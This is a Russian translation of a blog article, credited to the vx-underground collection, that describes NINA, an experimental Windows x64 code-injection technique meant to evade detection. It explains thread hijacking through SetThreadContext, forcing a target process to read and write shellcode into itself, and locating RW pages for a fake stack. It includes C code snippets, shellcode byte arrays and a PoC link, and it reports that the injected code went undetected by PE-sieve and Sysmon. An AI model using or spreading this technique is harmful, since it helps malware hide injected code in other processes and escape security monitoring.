Order Of Six Angles

Main Logo

Х.Р.А.М Сатаны

Home | RU | Translations | Art | Feed.xml

13 June 2021

tags: windows - malware

NINA:Внедрение в 64 битные процессы

коллекция vx-underground.org // 0x1337dtm

alt_text

В этой статье я расскажу об экспериментальной технике внедрения в процесс, без использования стандартных “опасных” функций - WriteProcessMemory, VirtualAllocEx, VirtualProtectEx, CreateRemoteThread, NtCreateThreadEx, QueueUserApc, и NtQueueApcThread. Я назвал эту технику NINA: No Injection, No Allocation (Без внедрения, Без выделения памяти). Цель данной техники - незаметность (очевидно), которая достигается с помощью уменьшения количества подозрительных вызовов и без надобности использовать сложные ROP цепочки. POC вы найдете здесь:

https://github.com/NtRaiseHardError/NINA.

Тестировалось на:

Реализация: Без внедрения

Давайте начнем со способа, который убирает необходимость внедрять что-то в процесс.

Самый простой способ внедрения в процесс состоит из нескольких простых ингредиентов:

Чтобы сфокусироваться на тезисе “Без Внедрения”, я буду использовать классический VirtualAllocEx, для выделения памяти в целевом процессе. Очень важно, чтобы страницы памяти не имели одновременно прав на запись (W) и исполнение (X). Алгоритм в этом случае следующий:

  1. Выставляем права RW
  2. Записываем данные
  3. Выставляем права RX

Сейчас, для простоты, мы можем выставить RWX права на страницы, а далее я расскажу про трюк “Без Выделения Памяти”.

Вредоносный процесс может не использовать WriteProcessMemory, для прямой записи данных в целевой процесс. Для этого, можно использовать технику “Inject Me”. Существуют и другие методы передачи данных в процесс: GlobalGetAtomName (Atom Bombing), передача с помощью опций командной строки/переменных окружения (с вызовом CreateProcess, для запуска целевого процесса). К сожалению, эти три способа требуют, чтобы нагрузка (payload - прим.пер.) не содержала NULL символов. Есть еще один способ - Ghost Writing, но он требует сложной ROP цепочки.

Чтобы добиться исполнения кода в процессе, я выбрал технику перехвата потока, используя важную функцию SetThreadContext, так как мы не можем вызывать CreateRemoteThread, NtCreateThreadEx, QueueUserApc, и NtQueueApcThread.

Алгоритм следующий:

  1. Вызываем CreateProcess, чтобы запустить целевой процесс
  2. Вызываем VirtualAllocEx, для выделения памяти для нагрузки и стека
  3. Вызываем SetThreadContext, чтобы целевой процесс выполнил ReadProcessMemory
  4. Вызываем SetThreadContext, для выполнения нагрузки

CreateProcess

При использовании такого способа внедрения, надо принять во внимание некоторые моменты. Первый связан с вызовом CreateProcess. Хотя наша техника не использует CreateProcess, есть некоторые причины, по которым может быть лучше использовать его, вместо OpenProcess или OpenThread. Одна из причин - отсутствие удаленного доступа к процессу, для получения HANDLE, который может быть детектирован тулзами для мониторинга (например Sysmon), которые используют для этого ObRegisterCallbacks (об этом в конце будет подробнее - прим.пер.). Другая причина - CreateProcess позволяет нам использовать техники внедрения, упомянутые ранее, с помощью командной строки и переменных окружения. Если вы создаете процесс, вы можете взять на вооружение blockdlls и ACG, для предотвращение антивирусных хуков в юзермоде.

VirtualAllocEx

Конечно, целевой процесс должен быть способен вместить нагрузку, но для нашей техники нужен еще стек. Далее вы поймете о чем я.

ReadProcessMemory

Для использования этой функции в обратном порядке (когда целевой процесс читает наш - прим.пер.), мы должны учесть: передачу пятого параметра на стеке (первые четыре передаются через регистры, остальные на стеке - прим.пер.) и использование валидного HANDLE процесса для нашего собственного вредоносного процесса. Давайте для начала разберемся с пятым аргументом:

BOOL ReadProcessMemory (
    HANDLE hProcess,
    LPCVOID lpBaseAddress,
    LPVOID lpBuffer,
    SIZE_T nSize,
    SIZE_T *lpNumberOfBytesRead
);

SetThreadContext позволяет использовать только первые четыре аргумента (x64), игнорируя пятый. В документации, о lpNumberOfBytesRead, написано следующее:

Указатель на переменную, которая получает число байтов, переданное в указанный буфер. Если lpNumberOfBytesRead - NULL, этот параметр игнорируется.

К счастью, VirtualAllocEx зануляет созданные страницы памяти:

Резервирование, коммит, или изменение состояния региона памяти внутри виртуального адресного пространства указанного процесса. Функция инициализирует выделяемую память нулями.

Установка стека в зануленных страницах дает валидный пятый аргумент.

Вторая проблема в HANDLE процесса, передаваемого в ReadProcessMemory. Так как мы пытаемся заставить целевой процесс прочитать наш вредоносный, мы должны дать ему наш HANDLE. Это можно сделать функцией DuplicateHandle. Ей можно передать наш текущий HANDLE и получить HANDLE, для передачи целевому процессу.

SetThreadContext

SetThreadContext - это мощная и гибкая функция, которая позволяет читать, писать и исполнять. Но с ней есть известная проблема при передачи fastcall аргументов: изменяемые регистры RCX, RDX, R8 и R9 не могут хранить желаемые значения надежно. Посмотрите на следующий код:

// Заставляем целевой процесс прочитать шеллкод
SetExecutionContext(
    // Поток в целевом процессе
    &TargetThread,
    // Устанавливаем RIP для чтения нашего шеллкода
    _ReadProcessMemory,
    // RSP указывает на стек
    StackLocation,
    // RCX: HANDLE нашего процесса, откуда читается шеллкод
    TargetProcess,
    // RDX: Адрес откуда читать
    &Shellcode,
    // R8: Буфер для хранения шеллкода
    TargetBuffer,
    // R9: Сколько читать
    sizeof (Shellcode)
);

Если его выполнить, мы ожидаем, что изменяемые регистры содержат корректные значения, когда поток в целевом процессе начинает выполнять ReadProcessMemory. Но в реальности этого не происходит:

alt_text

По непонятным причинам, значения регистров поменялись, что делает нашу технику бесполезной. RCX не содержит валидного HANDLE процесса, RDX - ноль и R9 - хранит очень большое значение. Но есть метод, который я откопал, который позволяет надежно устанавливать значения регистров: просто надо установить RIP в бесконечный jmp -2 цикл, перед использование SetThreadContext. Как это происходит:

alt_text

Бесконечный цикл может быть запущен функцией SetThreadContext, и уже после вызывается ReadProcessMemory с регистрами, с правильными значениями:

alt_text

Теперь нам надо обработать полученное значение. Заметьте, что мы выделяем память и используем свой стек. Если мы можем использовать ReadProcessMemory для чтения шеллкода и помещения его по RSP нашего стека, то мы можем указать первыми 8 байтами в шеллкоде адрес возврата, указывающего на сам шеллкод. Пример:

BYTE Shellcode[] = {
// Заглушка, для адреса возврата ReadProcessMemory на Shellcode + 8
0xEF , 0xBE , 0xAD , 0xDE , 0xEF , 0xBE , 0xAD , 0xDE ,
// Шеллкод начинается тут...
0xEB , 0xFE , 0x01 , 0x23 , 0x45 , 0x67 , 0x89 , 0xAA ,
0xBB , 0xCC , 0xDD , 0xEE , 0xFF , 0x90 , 0x90 , 0x90
};

alt_text

RSP и R8 указывают на 000001F457C21000. Адреса выше будут использованы для стека при вызове ReadProcessMemory. Буфер для шеллкода будет располагаться в адресах ниже R8. В конце вызова ReadProcessMemory, в качестве адреса возврата, будут использованы первые 8 байт шеллкода, формирующие адрес 000001F457C21008 и указывающие на его реальное расположение:

alt_text

Реализация: Без Выделения Памяти

Теперь давайте поговорим об избавлении от VirtualAllocEx, для улучшения техники. Это не самая простая задача, по сравнению с предыдущей, так как уже изначально имеются проблемы:

  1. Как мы организуем стек для ReadProcessMemory?
  2. Каким образом мы запишем и выполним шеллкод, используя ReadProcessMemory, если отсутствуют RWX секции?

Но зачем нам выделять память, если она уже есть готовая? Имейте в виду,

что если использовать существующие страницы памяти, то важно не перезаписать критичные данные, для восстановления прежнего потока выполнения.

Стек

Если мы не можем выделить память для стека, то мы можем просто найти пустую RW страницу. Проблему с пятым NULL аргументом для ReadProcessMemory тоже можно решить. Чтобы не затереть потенциально критичные данные, мы можем использовать , для своих целей, выравнивающие байты в RW страницах памяти, внутри бинарника. Конечно, если они там имеются.

Чтобы найти RW страницы в памяти бинарника, мы можем найти базовый адрес через PEB, потом пробежаться по памяти функцией VirtualQueryEx. Она возвращает информацию о правах на страницы, их размер, которые могут быть использованы для нахождения любой существующей RW страницы, подходящей для шеллкода.

//
// Получаем PEB.
//
NtQueryInformationProcess(
    ProcessHandle,
    ProcessBasicInformation,
    &ProcessBasicInfo,
    sizeof (PROCESS_BASIC_INFORMATION),
    &ReturnLength
);
//
// Получаем базовый адрес
//
    ReadProcessMemory(
    ProcessHandle,
    ProcessBasicInfo.PebBaseAddress,
    &Peb,
    sizeof (PEB),
    NULL
);
ImageBaseAddress = Peb.Reserved3[1];
//
// Получаем DOS заголовок.
//
ReadProcessMemory(
    ProcessHandle,
    ImageBaseAddress,
    &DosHeader,
    sizeof (IMAGE_DOS_HEADER),
    NULL
);
//
// Получаем NT заголовок.
//
ReadProcessMemory(
    ProcessHandle,
    (LPBYTE)ImageBaseAddress + DosHeader.e_lfanew,
    &NtHeaders,
    sizeof (IMAGE_NT_HEADERS),
    NULL
);
//
// Ищем существующие страницы памяти внутри бинарника.
//
for (SIZE_T i = 0 ; i < NtHeaders.OptionalHeader.SizeOfImage; i += MemoryBasicInfo.RegionSize) {
    VirtualQueryEx(
        ProcessHandle,
        (LPBYTE)ImageBaseAddress + i,
        &MemoryBasicInfo,
        sizeof (MEMORY_BASIC_INFORMATION)
    );
//
// Ищем RW память для стека.
// Заметка: Идеально будет найти RW секцию
// внутри страниц памяти бинарника, потому что
// выравнивающие байты до секции подходят для пятого, опционального
// аргумента ReadProcessMemory и WriteProcessMemory.
//
    if (MemoryBasicInfo.Protect & PAGE_READWRITE) {
//
// Стек располагается в RW страницах, снизу
//
    }
}

После нахождения нужной страницы, стек должен располагаться так, чтобы он рос от низа страницы и по мере роста было найдено значение 0x0000000000000000, для пятого аргумента ReadProcessMemory. Это означает, что потребуется как минимум 0х28 байт (если считать от начала (низа) страницы) + пространство для шеллкода.

alt_text

Код, для демонстрации этого:

//
// Выделяем память для стека, для чтения локальной копии
//
Stack = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, AddressSize);
//
// Поиск NULL значения для пятого аргумента в стеке 
//
Success = ReadProcessMemory(
    ProcessHandle,
    Address,
    Stack,
    AddressSize,
    NULL
);
//
// Проходимся снизу (по стеку) 
// Начиная с -5 * 8 - это количество для как минимум пяти аргументов + шеллкод
//
for (SIZE_T i = AddressSize - 5 * sizeof (SIZE_T) - sizeof (Shellcode); i > 0 ; i -= sizeof (SIZE_T)) {
    ULONG_PTR* StackVal = (ULONG_PTR*)((LPBYTE)Stack + i);
    if (*StackVal == 0 ) {
//
// Вычисляем отступ 
//
        *StackOffset = i + 5 * sizeof (SIZE_T);
        break ;
}
}

Если RW страниц не нашлось в бинарнике, мы можем писать прямо в стек. Для нахождения стека в чужом процессе, нам поможет следующий код:

NtQueryInformationThread(
    ThreadHandle,
    ThreadBasicInformation,
    &ThreadBasicInfo,
    sizeof (THREAD_BASIC_INFORMATION),
    &ReturnLength
);
ReadProcessMemory(
    ProcessHandle,
    ThreadBasicInfo.TebBaseAddress,
    &Tib,
    sizeof (NT_TIB),
    NULL
);
//
// Считаем отступ
//

Переменная Tib будет содержать адреса нахождения стека. С ними, мы можем использовать предыдущий код для нахождения нужного отступа от начала стека.

Запись шеллкода

Главное препятствие при работе без выделения памяти в том, что мы должны расположить шеллкод и исполнить его на одной и той же странице. Это можно сделать функцией WriteProcessMemory, без использования VirtualProtectEx или сложных ROP цепей. Да, я говорил, что мы не можем использовать WriteProcessMemory для записи данных из нашего процесса в целевой, но я не говорил, что мы не можем заставить целевой процесс писать в самого себя. Благодаря скрытому механизму, WriteProcessMemory переназначает права на страницы переданного буфера, для записи в него. Тут мы видим, что страницы буфера запрошены функцией NtQueryVirtualMemory:

alt_text

Затем со страниц снимаются ограничения на запись функцией NtProtectVirtualMemory:

alt_text

Если вы заметили, в начале, WriteProcessMemory модифицирует теневой стек. Поэтому нам надо подправить шеллкод, чтобы он учитывал расстояние до теневого стека:

BYTE Shellcode[] = {
// Заглушка для адреса возврата из ReadProcessMemory к бесконечному jmp циклу
0xEF , 0xBE , 0xAD , 0xDE , 0xEF , 0xBE , 0xAD , 0xDE ,
// Место, для теневого стека
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
// Сам шеллкод начинается тут (+0x30)
0xEB , 0xFE , 0x01 , 0x23 , 0x45 , 0x67 , 0x89 , 0xAA ,
0xBB , 0xCC , 0xDD , 0xEE , 0xFF , 0x90 , 0x90 , 0x90
};

Теперь нам надо последовательно вызвать ReadProcessMemory и WriteProcessMemory. После возврата из ReadProcessMemory, мы можем вместо выполнения шеллкода (теперь он в лежит в неисполняемой памяти), просто прыгнуть назад к бесконечному циклу:

alt_text

Это дает время вредоносному процессу вызвать SetThreadContext, для указания RIP на WriteProcessMemory и переиспользовать RSP из ReadProcessMemory. Мы можем прочитать шеллкод из того же места, которое было скопировано ReadProcessMemory (+0х30 байт до непосредственно тела шеллкода) и выбрать любую страницу с правами на выполнение (предполагая что есть RX секции).

// Берем целевой процесс, для записи шеллкода
Success = SetExecutionContext(
    &ThreadHandle,
// Устанавливаем rip, для чтения шеллкода
    &_WriteProcessMemory,
// RSP указывает на прежний адрес
    &StackLocation,
// RCX: handle целевого процесса
    (HANDLE)-1,
// RDX: буфер для шеллкода
    ShellcodeLocation,
// R8: адрес, с которого будет записываться
    (LPBYTE)StackLocation + 0x30 ,
// R9: размер для записи
    sizeof (Shellcode) - 0x30 ,
    NULL
);

Когда завершится WriteProcessMemory, мы опять прыгнем на бесконечный цикл, позволив тем самым вредоносному процессу сделать финальный вызов SetThreadContext для выполнения шеллкода:

// Выполнение шеллкода
Success = SetExecutionContext(
    &ThreadHandle,
// Установка RIP, для выполнения шеллкода
    &ShellcodeLocation,
// RSP опционален
    NULL ,
//Аргументы для шеллкода опциональны
    0,
    0,
    0,
    0,
    NULL
);

В итоге, вся процедура внедрения выглядит так:

  1. SetThreadContext на бесконечный цикл, чтобы позволит SetThreadContext нормально использовать регистры
  2. Нахождение подходящего места на стеке (или псевдо стеке), с правами чтения/записи, для хранения аргументов ReadProcessMemory, WriteProcessMemory и временного шеллкода
  3. Получение копии handle функцией DuplicateHandle для целевого процесса, чтобы прочитать шеллкод из вредоносного процесса
  4. Вызов ReadProcessMemory, используя SetThreadContext, для копирования шеллкода
  5. Возврат к бесконечному циклу, после ReadProcessMemory
  6. Вызов WriteProcessMemory, используя SetThreadContext, для копирования шеллкода в память с правами RX
  7. Возврат к бесконечному циклу, после WriteProcessMemory
  8. Выполнение шеллкода, используя SetThreadContext.

Обнаружение следов

Чтобы быстро проверить, как можно обнаружить технику, я использовал две тулзы: PE-sieve от hasherazade и Sysinternal Sysmon с конфигом от SwiftOnSecurity . Если вы знаете любые другие тулзы для мониторинга, то я был бы рад посмотреть, как наша техника справляется с ними.

PE-sieve

Играясь с PE-sieve я заметил, что если мы внедряем шеллкод в выравнивающие байты в секции .text (или другую подходящую), то он вообще никак не детектится:

alt_text

Если шеллкод слишком большой, чтобы туда влезть, то стоит посмотреть на другие модули.

Sysmon Events

Тут я получил ожидаемый результат, так как использовался вызов CreateProcess для запуска целевого процесса, вместо OpenProcess. Стоит отметить, что вызов DuplicateHandle может триггерить детект от Sysmon (он это делает вызовом ObRegisterCallbacks). Но нам нечего бояться, так как Sysmon не детектит, если процесс, который копирует/дуплицирует handle, это тот же процесс, что и запрашивает его. В случае с антивирусом/EDR ситуация может быть другой.

alt_text

Дальнейшие улучшения

Не сомневаюсь, что здесь могут быть моменты, которые я упустил, так как я очень торопился с этим проектом - я просто исследовал эту идею и смотрел, как далеко я смогу зайти. Техника возможна благодаря восстановлению перехваченного потока выполнения, но все зависит от вредоносного процесса (не знаю, хорошо это или плохо).

¯_(ツ)_/¯

Заключение

Существует возможность не использовать WriteProcessMemory, VirtualAllocEx, VirtualProtectEx, CreateRemoteThread, NtCreateThreadEx, QueueUserApc, и NtQueueApcThread из вредоносного процесса, для внедрения в другой процесс. Использование OpenProcess и OpenThread по прежнему под сомнением, потому что не всегда возможен запуск процесса функцией CreateProcess. Но зато, мы избавились от кучи подозрительных вызовов, что и являлось целью.

SetThreadContext очень мощная и важная вещь, для целей антидетекта, интересно, уделят ли ей должное внимание в будущем? Что я вижу сейчас - уже существует нативное логгирование функции в ETW провайдере. Очень интересно будет посмотреть в будущем, как будут развиваться техники внедрения в процесс…

Вверх